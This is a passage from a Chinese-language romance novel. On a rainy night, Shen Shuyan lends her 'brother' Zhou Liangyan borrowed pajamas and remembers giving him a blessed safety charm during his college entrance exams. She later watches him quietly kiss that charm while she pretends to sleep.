幕布上散发的光线流转,映在她的脸上,睫毛随着眼睛扑闪扑闪的晃着,像米色的蝶翅停歇在她光滑白嫩的颊上。
耳边传来窸窸窣窣的雨声,周良宴静静看着她。
光影转暗,沈舒言下意识将散落的碎发挽至身后,他轻缓出一口气,心脏一阵阵的膨胀,挤得胸中透不过气。
耳边的雨声急一阵缓一阵,一如他躁动的心。
-
纪录片落下帷幕,沈舒言站起身伸了个懒腰,喊了一声哥,该睡觉了。
她把周良宴领到客房后就一股脑扎进自己的衣柜里。
如果没记错的话,她这里应该是有几件男生的衣服的。
赵岚娜很喜欢给朋友买东西,购物软件里经常都是自己和沈舒言家的地址换着来,有时候买东西往改地址,经常把东西寄错。
她记得上个月好像就寄过来件包裹,看包装应该是给家里弟弟买的。
沈舒言听她说起过,他弟弟身高跟周良宴应该差不多。
翻箱倒柜了好几分钟,才从一堆衣服里找到那件睡衣。
她拿出手机拍了张照片发给赵岚娜:【江湖救急!】
赵岚娜:【何事如此着急?】
沈舒言敲打键盘:【我哥今天过来,他衣服被雨淋湿了,这件可以先让我应应急嘛,我重新给弟弟买几件衣服~】
赵岚娜回的很快:【你不说我都忘了,不用买,那兔崽子衣服比我都多,还有你能不能不要跟我这么客气,不然我会觉得你瞒着我做了什么亏心事。】
沈舒言笑出声:【好好好,谢谢我的宝贝~改天请你吃饭。】
赵岚娜回了个嘴馋的表情包。
沈舒言将包装拆开,是一套深色家居服,她起身将衣服在自己身上比了比,嘴里嘀咕
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着应该可以穿后,带着衣服走出卧室。
楼上空间大,当时装修时,除了主卧室,还让师傅做了两间次卧,一间在卧室对面,一间在另外一头。
沈舒言走到对面卧室门口,曲起手指用关节处轻轻敲了几下,“哥,我可以进来了?”
屋里有声音传来,“进。”
轻轻推门进去,周良宴已经将外套脱下,身上只穿着件深灰色的衬衫,纽扣依旧扣到最上面一颗,一丝不苟。
沈舒言看到他正在回复消息,将衣服放在一旁的椅子上,“你试下这个衣服合适吗?”
话音刚落,周良宴手上的动作一顿,视线落在那几件衣服上眉毛微微蹙起,但说出的话尽可能的平静,“谁的?”
大约是感觉到他的疑惑,沈舒言开口解释,“是娜娜给家里弟弟买的,刚好寄到我这边。”
“......好。”听到这话,揪起的心才慢慢放下。
衣服送到,沈舒言回到自己卧室,准备洗澡睡觉。
她将脖子上的项链取下放在一边的床头柜上,拿上睡衣走进卧室。
外面的雨声没有丝毫要停歇的意思,今晚可以拥有天然的白噪音,沈舒言快快的冲了个澡,吹干头发钻进被窝。
可或许是白天睡得太久,今晚的睡衣迟迟无法酝酿出来。
拿出手机百无聊赖的刷着微博,视线透过电子屏幕,落在不远处的平安扣上。
自从那次学校晚会差点被砸到后,付瑾华就生怕她再出什么意外。
特地寺庙求了一对儿平安扣,她和周良宴一人一个。
沈舒言拿到后分外爱惜,生怕磕了碰了或被自己弄丢了。
除了周良宴高考那一阵儿,他整天泡在书房里,一待就是一天。
有时候沈舒言早上上学时,还能看到书房亮着灯,楼下餐桌上是动都没动过的早餐。
晚上回家时,她摘下脖子上的平安扣走进书房。
书桌前的人抬头看她,“言言,你怎么来了,是有不会的题吗?”
沈舒言没说话,将自己手中的东西递过去,“哥,这个给你。”
周良宴看清妹妹掌心的物件后,打趣地说:“这个你平日不是宝贝的不行,今天怎么突然舍得给我。”
沈舒言摇摇头,声音软糯,说话时很轻,“我听妈妈说这个开过光,你把这个也戴上,我刚才来之前已经求过了,求菩萨保佑你考一个好成绩。”
周良宴翻书的动作顿住,昏黄的灯光下,脸上的笑容变得更加柔和,“可是你很喜欢它,真的要给我吗?”
“嗯!”沈舒言很郑重的点了几下小脑袋,虽然很舍不得,但是她觉得自己的哥哥更重要,比任何都要重要。
“好,谢谢言言。”周良宴伸出双手接过,然后小心的将那平安扣放进口袋。
高考成绩出来,他考了非常不错的成绩,而后又将那平安扣还给了沈舒言,他说:“谢谢你的菩萨,接下来让她继续保佑你。”
思绪被屋外的脚步声打断,应该是周良宴下楼接水去了。
过了约莫几分钟,脚步声由远及近,沈舒言下意识闭上眼睛,听到门被轻轻推开。
窗外是淅淅沥沥不间断的雨声,熟悉的味道渐渐涌向鼻尖。
她能感觉到他的动作很轻,帮她掖好被角。
可是周良宴并没有走,就静静的站在床边望着她。
沈舒言不知道怎么回事,与那天同样的陌生情绪涌上心头,她突然紧张起来。
耳边除了雨落在玻璃上的声音,还有自己的心跳,她从来没这样清晰的听到过自己的心跳,几乎要从胸膛里跳出来。
怦,怦,怦,每一次跳动都像像是细微的电流漫过全身,完全无法控制,不安未知的情绪在血液里游曳流转。
床边的人半天没有动静,沈舒言眯着眼睛偷看,而后呼吸一滞,心跳的更快了。
那个一向沉稳内敛,对任何事物都平静的像是没有任何情绪的哥哥。
正闭着眼睛,轻轻亲吻属于她的平安扣。
近乎虔诚。